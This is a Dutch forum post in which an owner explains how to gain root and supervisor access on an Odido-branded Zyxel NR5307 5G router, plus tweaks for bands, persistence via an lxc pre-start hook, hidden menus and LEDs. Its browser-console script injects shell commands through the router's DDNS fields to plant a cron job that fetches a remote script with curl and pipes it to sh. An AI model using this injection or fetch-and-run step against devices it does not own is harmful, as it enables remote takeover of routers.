Dag allemaal,
Op ons cluppie staat een Klik&Klaar torentje te shinen dat mijn aandacht trok, gehuld in een stoffen hoes. D.w.z. het Zyxel NR5307 5G modem (of router, zo je wilt). Het doet z'n ding en werkt prima. In de verloren uurtjes is het gelukt om root en supervisor toegang te verkrijgen, want waarom ook niet. Na het aanwenden van wat discipline heb ik een script gemaakt om het op een makkelijke manier te reproduceren. Deze deel ik met alle liefde.
Deze tab wordt pas zichtbaar nadat je de mesh functie hebt uitgezet. Sluit je eigen router aan op de bovenste poort van de Zyxel (met label LAN1). De firewall van de Zyxel kun je eventueel uitzetten.B5 (850MHz) heb ik juist weggelaten uit het rijtje, anders kwam er (meestal) geen verbinding tot stand. Een willekeurige band weghalen bleek te helpen, bij ons althans. Daarom gekozen voor B5, want die wordt toch niet gebruikt in Nederland.
Als omweg heb ik een lxc container aangemaakt (in Zyxel termen: ZyEE), en lxc.hook.pre-start toegevoegd aan de lxc config. Die voert dan een script uit voordat de container start (dus op de host, buiten de container). Voor het nette laat ik dat eindigen met "exit 1" zodat de container niet daadwerkelijk start. Dit blijft ook na een reboot netjes functioneren.
Eenmalig setup_scripttrigger.sh uitvoeren en dan kun je los gaan in /xdata/startup.sh! Het script start iets eerder dan de 5G verbinding.Na een reboot is het originele bestand weer terug, dit is dus een goede kandidaat voor in het startup.sh script.Dit kan handig zijn om automatisch uit te voeren op een nachtelijk uur, om te voorkomen dat de verbinding overdag op een onhandig moment onderbroken wordt.
Als alternatief kun je het zelf regelen vanuit startup.sh. Dan is het wel noodzakelijk om de originele cronjob inactief te maken, anders gaan de leds het volgende uur namelijk weer aan (zelfs als je de optie uit hebt staan in de webinterface).De laatste regel laat de power led constant branden. Anders blijft hij knipperen, ook na de eerste 90 seconden. Gebruik eventueel off i.p.v. on om ook de power led uit te zetten.
Waar tijd het toelaat zal ik dit bericht blijven bijwerken met tips en tricks (update teller: 5).
Op ons cluppie staat een Klik&Klaar torentje te shinen dat mijn aandacht trok, gehuld in een stoffen hoes. D.w.z. het Zyxel NR5307 5G modem (of router, zo je wilt). Het doet z'n ding en werkt prima. In de verloren uurtjes is het gelukt om root en supervisor toegang te verkrijgen, want waarom ook niet. Na het aanwenden van wat discipline heb ik een script gemaakt om het op een makkelijke manier te reproduceren. Deze deel ik met alle liefde.
Root en supervisor
Geschreven voor versie V1.00(ACJG.1)NR53_b17D0430, maar werkt waarschijnlijk ook wel met eerdere versies. Eerst inloggen op de webinterface als admin, daarna het script plakken in de console van je browser. Nu kun je inloggen als supervisor met het (gegenereerde) wachtwoord. Ook kun je nu gebruik maken van SSH (SCP is aanwezig), gebruik dan het root account.JavaScript:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
| (async () => { /* * For use on Odido branded Zyxel NR5307 5G routers. * This enables SSH access, sets a new password for root and supervisor, disables operator management. * * Discussion at https://gathering.tweakers.net/forum/list_messages/2334782 * * How to use: * Open https://192.168.1.1 and login as admin. Press F12, click the Console tab and paste this script. * * Injects a cron job to execute at the next minute. * Lock mechanism to prevent potential parallel executions. Apparently each DDNS save from the web interface spawns another live cron instance, pointing to the same crontab. */ let newPassword = ""; // if left empty, a password will be generated const sessionKey = localStorage.getItem("zySessionKey"); const lockId = crypto.randomUUID().slice(0, 8); if (!sessionKey) { console.log("No session key"); return; } if (newPassword.length > 64) { console.log("Password exceeds 64 characters"); return; } if (!newPassword) { newPassword = simplesecpw(); } newPassword = newPassword.replaceAll("'", "'\\''"); const response = await fetch("/cgi-bin/DAL?oid=ddns&sessionkey=" + sessionKey, { method: "PUT", headers: { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", }, body: JSON.stringify({ Enable: true, ServiceProvider: "userdefined", ConnectionType: "HTTP", UpdateURL: "\n* * * * * mkdir /tmp/cron-" + lockId + ".lock && { curl -f -L -s -m 30 https://tikketak.alwaysdata.net/nr5307/set_root.sh | NEW_PASSWORD='" + newPassword + "' sh; :", HostName: "; ztr69cli set Device.X_ZYXEL_EXT.DynamicDNS.Enable=0 Device.X_ZYXEL_EXT.DynamicDNS.UpdateURL= Device.X_ZYXEL_EXT.DynamicDNS.HostName= Device.X_ZYXEL_EXT.DynamicDNS.UserName= Device.X_ZYXEL_EXT.DynamicDNS.Password=; rm /var/spool/cron/ddns/root; } #", UserName: "x", Password: "x" }), }, ); console.clear(); if (!response.ok) { console.log("HTTP error: " + response.status + " " + response.statusText); return; } const data = await response.json(); if (data.result !== "ZCFG_SUCCESS") { console.log("Unexpected result: " + data.result); return; } if (data.sessionkey) { localStorage.setItem("zySessionKey", data.sessionkey); } console.log("This password for root and supervisor will be set at the next minute:"); console.log(newPassword); // simplesecpw by Hanno Boeck function simplesecpw() { const pwlen = 15; const pwchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; const limit = 256 - (256 % pwchars.length); let passwd = ""; let randval; for (let i = 0; i < pwlen; i++) { do { randval = window.crypto.getRandomValues(new Uint8Array(1))[0]; } while (randval >= limit); passwd += pwchars[randval % pwchars.length]; } return passwd; } })(); |
In bridge zetten
Als supervisor kun je nu de router in bridge zetten: Network Setting > Broadband > Cellular IP PassthroughDeze tab wordt pas zichtbaar nadat je de mesh functie hebt uitgezet. Sluit je eigen router aan op de bovenste poort van de Zyxel (met label LAN1). De firewall van de Zyxel kun je eventueel uitzetten.
Missende frequentiebanden toevoegen
Om de lage 700MHz, 800MHz en 900MHz banden toe te voegen, voer dit uit vanuit een shell met root:ztr69cli set Device.Cellular.Interface.1.X_ZYXEL_PreferredBands=B1,B3,B7,B8,B20,B28,B32,B38,B40,B41,B42,B43,n1,n3,n5,n7,n8,n20,n28,n38,n40,n41,n75,n76,n77,n78
Eigen scripts draaien
Locaties zoals /etc zijn helaas gemount als tmpfs, dus wijzigingen daaraan blijven niet behouden na een reboot. Aanhaken op de bestaande init scripts is daarom een uitdaging.Als omweg heb ik een lxc container aangemaakt (in Zyxel termen: ZyEE), en lxc.hook.pre-start toegevoegd aan de lxc config. Die voert dan een script uit voordat de container start (dus op de host, buiten de container). Voor het nette laat ik dat eindigen met "exit 1" zodat de container niet daadwerkelijk start. Dit blijft ook na een reboot netjes functioneren.
Eenmalig setup_scripttrigger.sh uitvoeren en dan kun je los gaan in /xdata/startup.sh! Het script start iets eerder dan de 5G verbinding.
Cronjobs toevoegen
Om je eigen cronjobs uit te voeren, kun je het beste een eigen crontab aanmaken. Bijvoorbeeld door in /xdata/crontabs/ het bestand 'root' aan te maken met daarin de cronjobs. Om vervolgens vanuit startup.sh een cron daemon te starten die daar naar verwijst:crond -c /xdata/crontabs
Verborgen menu's
Hoewel je met het supervisor account meer opties in de webinterface te zien krijgt dan als gewone admin, blijft er nog veel onzichtbaar. Daarom een patch gemaakt die app.js aanpast zodat het alle menu items laat zien. En door het setten van een aantal flags worden bepaalde tabbladen en functies weer zichtbaar. Bedenk wel dat dit cosmetisch is en dat niet alles ook echt werkt. Ook de ontbrekende banden toegevoegd zodat die te selecteren zijn onder Broadband > Cellular Band.sed -i -e 's/commit("updateGuiFlag",e)/commit("updateGuiFlag","high"==localStorage.getItem("loginLevel")?Object.assign(e,{HidePolicyRouteTab:false,hidePortTriggeringTab:false,hideALGTab:false,WlanScheduler:true,showScheduleReboot:true,systemLogSupportEmailLog:true,show_zconsole_log:true,show_zconsole_prerun_cmd:true,showPartialReset:true}):e)/' \
-e 's/commit("updateMenuList",t\.MenuList)/commit("updateMenuList","high"==localStorage.getItem("loginLevel")?window.webpackJsonp([],null,["HIEM"]):t.MenuList)/' \
-e 's/n\.supportedBands=n\.cellWanBand\.INTF_Supported_Bands.split(",")/n.supportedBands="B1,B3,B5,B7,B8,B20,B28,B32,B38,B40,B41,B42,B43,n1,n3,n5,n7,n8,n20,n28,n38,n40,n41,n75,n76,n77,n78".split(",")/' \
-e 's/t\.tabActiveIndex="CellWanApn",//' \
-e 's/this\.\$delete(this\.tabContent,"AddressMapping"),this\.\$delete(this\.tabContent,"Sessions")/true/' \
/web/static/js/app.jsOpnieuw verbinden
Je kunt een nieuwe data sessie starten met:mipc_wan_cli --at_cmd AT+CGATT=0 sleep 2 mipc_wan_cli --at_cmd AT+CGATT=1
Leds uitschakelen
Dit kan onder Maintenance > Power Monitor > Power Saving in de webinterface, maar werkt alleen op gezette tijden.Als alternatief kun je het zelf regelen vanuit startup.sh. Dan is het wel noodzakelijk om de originele cronjob inactief te maken, anders gaan de leds het volgende uur namelijk weer aan (zelfs als je de optie uit hebt staan in de webinterface).
sed -i '/ledpwrsaving/s/^/# /' /etc/crontab zyledctl all lock zyledctl SYS_G on force
Waar tijd het toelaat zal ik dit bericht blijven bijwerken met tips en tricks (update teller: 5).
[ Voor 28% gewijzigd door tikketak op 22-05-2026 18:31 ]